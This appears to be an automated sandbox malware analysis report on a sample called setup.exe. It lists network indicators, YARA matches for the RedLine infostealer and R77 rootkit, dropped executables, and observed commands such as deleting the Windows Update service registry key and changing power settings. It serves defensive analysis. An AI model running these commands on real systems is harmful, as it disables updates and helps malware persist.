Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112

Source: unknown

HTTP traffic detected: POST /api/proxy/nodes/get HTTP/1.1Content-Type: application/jsonUser-Agent: Microsoft Internet ExplorerHost: api.peer2profit.comContent-Length: 186Cache-Control: no-cache

Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50046 version: TLS 1.2

Source: setup.exe, 00000000.00000002.296086315.000000000061A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.0.ofg.exe.b20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 10.2.ofg.exe.b20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 75.2.updater.exe.1d03d260000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.0.dllhost.exe.14001e0b0.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.0.dllhost.exe.140000000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 0.3.setup.exe.1eb0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 75.2.updater.exe.1d03cfc0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 0.2.setup.exe.413788.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.0.ofg.exe.b20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.2.setup.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 73.2.dllhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 75.2.updater.exe.1d03cfc0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.2.dllhost.exe.14001e0b0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.2.dllhost.exe.14001e0b0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.0.dllhost.exe.140000000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.0.dllhost.exe.14001e0b0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 75.2.updater.exe.1d03d2a0000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.2.dllhost.exe.20dea620000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.2.dllhost.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.2.dllhost.exe.20dea620000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.0.dllhost.exe.140000000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.0.dllhost.exe.140000000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 4.2.ofg.exe.b20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 73.2.dllhost.exe.20dea650000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 75.2.updater.exe.1d03d210000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.0.dllhost.exe.140000000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.0.dllhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 75.2.updater.exe.1d03d260000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.0.dllhost.exe.140000000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 75.2.updater.exe.1d03d210000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 75.2.updater.exe.1d03d2a0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 73.2.dllhost.exe.20dea650000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 00000049.00000002.596818252.0000020DEA620000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 0000004B.00000002.600391370.000001D03D210000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 0000004B.00000002.597332163.000001D03CFC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 00000049.00000002.598194987.0000020DEA650000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 00000049.00000000.559652688.000000014001C000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 0000004B.00000002.607799213.000001D03D2A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 00000049.00000002.594389851.0000000140000000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 0000004B.00000002.607598805.000001D03D260000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: C:\Users\user\AppData\Local\Google\ofg.exe, type: DROPPED	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0040C251	0_2_0040C251
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0040AEA8	0_2_0040AEA8
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0040D972	0_2_0040D972
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0040B930	0_2_0040B930
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0040B3EC	0_2_0040B3EC
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00409BF3	0_2_00409BF3
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0041A9A3	0_2_0041A9A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_00A40908	2_2_00A40908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09494B38	2_2_09494B38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09490BE8	2_2_09490BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09492C88	2_2_09492C88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0949E48C	2_2_0949E48C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_094953B0	2_2_094953B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_094C5F00	2_2_094C5F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_094C665E	2_2_094C665E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_094C9B78	2_2_094C9B78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_094C9D30	2_2_094C9D30
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 3_2_00007FF69F801770	3_2_00007FF69F801770
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 3_2_00007FF69F803170	3_2_00007FF69F803170
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 3_2_00007FF69F806EE0	3_2_00007FF69F806EE0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 3_2_00007FF69F822510	3_2_00007FF69F822510
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 3_2_00007FF69F8029D0	3_2_00007FF69F8029D0

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f

Source: updater.exe.3.dr	Static PE information: Number of sections : 11 > 10
Source: brave.exe.2.dr	Static PE information: Number of sections : 11 > 10

Source: Joe Sandbox View

Dropped File: C:\Program Files\Google\Chrome\updater.exe 9C01D90543458567C4737731EE6754CC209E4BB78FF648EB75C4D23BE261EF2F

Source: setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 10.0.ofg.exe.b20000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 10.2.ofg.exe.b20000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 75.2.updater.exe.1d03d260000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.0.dllhost.exe.14001e0b0.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.0.dllhost.exe.140000000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 0.3.setup.exe.1eb0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 75.2.updater.exe.1d03cfc0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 0.2.setup.exe.413788.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.0.ofg.exe.b20000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 33.0.GoogleUpdate.exe.a50000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 0.2.setup.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 73.2.dllhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 75.2.updater.exe.1d03cfc0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.2.dllhost.exe.14001e0b0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 71.0.GoogleUpdate.exe.a50000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 73.2.dllhost.exe.14001e0b0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.0.dllhost.exe.140000000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 74.0.GoogleUpdate.exe.a50000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 73.0.dllhost.exe.14001e0b0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 9.2.chrome.exe.dd4d60.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 64.0.GoogleUpdate.exe.a50000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 75.2.updater.exe.1d03d2a0000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.2.dllhost.exe.20dea620000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.2.dllhost.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.2.dllhost.exe.20dea620000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.0.dllhost.exe.140000000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.0.dllhost.exe.140000000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 4.2.ofg.exe.b20000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 73.2.dllhost.exe.20dea650000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 75.2.updater.exe.1d03d210000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.0.dllhost.exe.140000000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 73.0.dllhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 75.2.updater.exe.1d03d260000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 43.0.GoogleUpdate.exe.a50000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 73.0.dllhost.exe.140000000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 75.2.updater.exe.1d03d210000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 75.2.updater.exe.1d03d2a0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
